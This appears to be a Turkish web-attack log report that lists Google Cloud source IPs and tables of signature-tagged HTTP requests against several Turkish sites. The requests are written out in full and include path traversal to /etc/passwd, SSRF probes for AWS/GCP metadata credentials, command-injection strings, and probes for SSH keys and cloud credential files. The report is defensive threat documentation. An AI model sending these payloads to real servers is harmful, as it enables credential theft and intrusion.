
34.16.227.112 — 22 saldırı imzalı istek / 52 toplam istek

Prefix: 34.16.128.0/17 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
16/Aug/2026:06:27:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
16/Aug/2026:06:27:58 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
16/Aug/2026:06:27:58 +0300profesyonelweb.com.trGET403PASSWD_FILE/?file=../../../../etc/passwd
16/Aug/2026:06:27:58 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:27:59 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:00 +0300profesyonelweb.com.trGET403AWS_CREDENTIALS/download?file=../../.aws/credentials
16/Aug/2026:06:28:00 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
16/Aug/2026:06:28:00 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
16/Aug/2026:06:28:01 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws/metadata/iam/security-credentials
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/.aws/ecs-task-credentials
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/.aws/metadata/iam/security-credentials/
16/Aug/2026:06:28:02 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws/s3/credentials.yml
16/Aug/2026:06:28:03 +0300profesyonelweb.com.trGET404AWS_METADATA_SSRF/latest/meta-data/iam/security-credentials/
16/Aug/2026:06:28:03 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:05 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:06 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:06 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
16/Aug/2026:06:28:07 +0300profesyonelweb.com.trGET200GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
16/Aug/2026:06:28:07 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
35.236.145.76 — 21 saldırı imzalı istek / 171 toplam istek

Prefix: 35.236.128.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:08:19:34 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
35.231.41.225 — 21 saldırı imzalı istek / 99 toplam istek

Prefix: 35.231.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:21:51:27 +0300elixtria.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
11/Aug/2026:21:51:30 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
11/Aug/2026:21:51:30 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
11/Aug/2026:21:51:34 +0300elixtria.comGET403CMDI/?exec=%3B+echo+GSCAN_CMDI+%23
11/Aug/2026:21:51:34 +0300elixtria.comGET200CMDI/?host=%60echo+GSCAN_CMDI%60
11/Aug/2026:21:51:35 +0300elixtria.comGET200CMDI/?ping=%60echo+GSCAN_CMDI%60
11/Aug/2026:21:51:36 +0300elixtria.comGET403CMDI/system?cmd=%3B+echo+GSCAN_CMDI+%23
11/Aug/2026:21:51:36 +0300elixtria.comGET403CMDI/run?cmd=%60echo+GSCAN_CMDI%60
11/Aug/2026:21:51:39 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
11/Aug/2026:21:51:39 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:21:51:39 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:21:51:40 +0300elixtria.comGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:21:51:41 +0300elixtria.comGET404GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
11/Aug/2026:21:51:41 +0300elixtria.comGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail
34.13.160.68 — 19 saldırı imzalı istek / 37 toplam istek

Prefix: 34.13.128.0/17 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
01/Sep/2026:04:06:15 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
01/Sep/2026:04:06:16 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
01/Sep/2026:04:06:16 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
01/Sep/2026:04:06:16 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
34.174.153.31 — 18 saldırı imzalı istek / 139 toplam istek

Prefix: 34.174.0.0/16 · Region: us-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:01:02:35 +0300denizciden.com.trGET404ENV_FILE/_environment
06/Sep/2026:01:02:35 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:01:02:36 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:01:02:37 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:01:02:37 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:01:02:37 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
02/Sep/2026:08:54:59 +0300denizciden.com.trGET404ENV_FILE/_environment
02/Sep/2026:08:54:59 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
02/Sep/2026:08:55:00 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
02/Sep/2026:08:55:01 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:08:55:01 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
02/Sep/2026:08:55:01 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
03/Sep/2026:17:46:09 +0300denizciden.com.trGET404ENV_FILE/_environment
03/Sep/2026:17:46:09 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
03/Sep/2026:17:46:12 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
03/Sep/2026:17:46:12 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
03/Sep/2026:17:46:13 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
03/Sep/2026:17:46:14 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.148.101.98 — 17 saldırı imzalı istek / 313 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:20:42:39 +0300elixtria.comGET404SSH_PRIVATE_KEY,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=rsc
34.21.145.214 — 17 saldırı imzalı istek / 26 toplam istek

Prefix: 34.21.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET200PASSWD_FILE/?file=../../../../etc/passwd
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/static../.aws/credentials
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/download?file=../../../../etc/passwd
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/files../etc/passwd
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/@fs/etc/passwd?import&raw??
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/media../etc/passwd
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PROC_ENVIRON/proc/self/environ
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404PASSWD_FILE/static../etc/passwd
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
22/Aug/2026:14:30:30 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/credentials
34.139.46.14 — 16 saldırı imzalı istek / 313 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
25/Aug/2026:02:27:35 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/.aws/credentials
25/Aug/2026:02:27:36 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/sa.json
25/Aug/2026:02:27:37 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/google-service-account.json
25/Aug/2026:02:27:37 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
25/Aug/2026:02:27:38 +0300cms.profesyonelwebserver.net.trGET404SSH_PRIVATE_KEY/.ssh/id_dsa
25/Aug/2026:02:27:39 +0300cms.profesyonelwebserver.net.trGET404WP_CONFIG/wp-config.php.old
25/Aug/2026:02:27:39 +0300cms.profesyonelwebserver.net.trGET404WP_CONFIG/wp-config.php.bak
34.139.86.26 — 16 saldırı imzalı istek / 242 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
23/Aug/2026:03:20:45 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/.aws/credentials
23/Aug/2026:03:20:45 +0300cms.profesyonelwebserver.net.trGET404WP_CONFIG/wp-config.php.bak
23/Aug/2026:03:20:46 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
23/Aug/2026:03:20:46 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service-account.json
23/Aug/2026:03:20:46 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/firebase-service-account.json
23/Aug/2026:03:20:49 +0300cms.profesyonelwebserver.net.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
34.26.45.18 — 16 saldırı imzalı istek / 205 toplam istek

Prefix: 34.26.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:21:25:59 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
09/Aug/2026:21:25:59 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
09/Aug/2026:21:25:59 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
09/Aug/2026:21:25:59 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
09/Aug/2026:21:26:00 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
34.148.226.192 — 16 saldırı imzalı istek / 205 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:21:26:29 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
12/Aug/2026:21:26:29 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
12/Aug/2026:21:26:29 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
12/Aug/2026:21:26:29 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
12/Aug/2026:21:26:30 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
12/Aug/2026:21:26:30 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
12/Aug/2026:21:26:30 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:21:26:30 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
12/Aug/2026:21:26:31 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
34.140.123.172 — 16 saldırı imzalı istek / 104 toplam istek

Prefix: 34.140.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:09:52:13 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:09:52:13 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:09:52:57 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Aug/2026:09:52:57 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?import
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd
04/Aug/2026:10:24:47 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?import&raw??
04/Aug/2026:10:24:56 +0300teigmo.com.trGET200AWS_CREDENTIALS/aws_credentials
04/Aug/2026:10:24:56 +0300teigmo.com.trGET200AWS_CREDENTIALS/aws_credentials.ini
04/Aug/2026:10:24:56 +0300teigmo.com.trGET404AWS_CREDENTIALS/.aws/credentials
04/Aug/2026:10:24:56 +0300teigmo.com.trGET200AWS_CREDENTIALS/aws-credentials
34.34.96.138 — 16 saldırı imzalı istek / 30 toplam istek

Prefix: 34.34.0.0/17 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/static../.aws/credentials
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws/credentials
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/.aws/credentials
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET403PASSWD_FILE/download?file=../../../../etc/passwd
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
24/Aug/2026:00:08:40 +0300profesyonelweb.com.trGET403PASSWD_FILE/?file=../../../../etc/passwd
35.196.162.79 — 15 saldırı imzalı istek / 323 toplam istek

Prefix: 35.196.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
25/Aug/2026:02:36:37 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/.aws/credentials
25/Aug/2026:02:36:37 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service-account.json
25/Aug/2026:02:36:38 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
25/Aug/2026:02:36:38 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/firebase-service-account.json
25/Aug/2026:02:36:38 +0300cms.profesyonelwebserver.net.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
25/Aug/2026:02:36:40 +0300cms.profesyonelwebserver.net.trGET404WP_CONFIG/wp-config.php.bak
25/Aug/2026:02:36:41 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/sa.json
25/Aug/2026:02:36:42 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/google-service-account.json
34.52.146.37 — 15 saldırı imzalı istek / 235 toplam istek

Prefix: 34.52.128.0/17 · Region: europe-west1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.139.62.17 — 15 saldırı imzalı istek / 203 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:04:07:04 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
08/Aug/2026:04:07:05 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
08/Aug/2026:04:07:05 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
08/Aug/2026:04:07:05 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
08/Aug/2026:04:07:05 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
08/Aug/2026:04:07:05 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
08/Aug/2026:04:07:06 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
34.78.135.192 — 15 saldırı imzalı istek / 200 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:16:37:45 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
09/Aug/2026:16:37:45 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
09/Aug/2026:16:37:45 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
09/Aug/2026:16:37:45 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
09/Aug/2026:16:37:46 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
09/Aug/2026:16:37:46 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
09/Aug/2026:16:37:46 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
09/Aug/2026:16:37:46 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
35.205.109.181 — 15 saldırı imzalı istek / 32 toplam istek

Prefix: 35.205.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
14/Aug/2026:04:30:02 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
35.236.158.226 — 15 saldırı imzalı istek / 25 toplam istek

Prefix: 35.236.128.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
11/Aug/2026:22:44:22 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
34.24.28.92 — 14 saldırı imzalı istek / 409 toplam istek

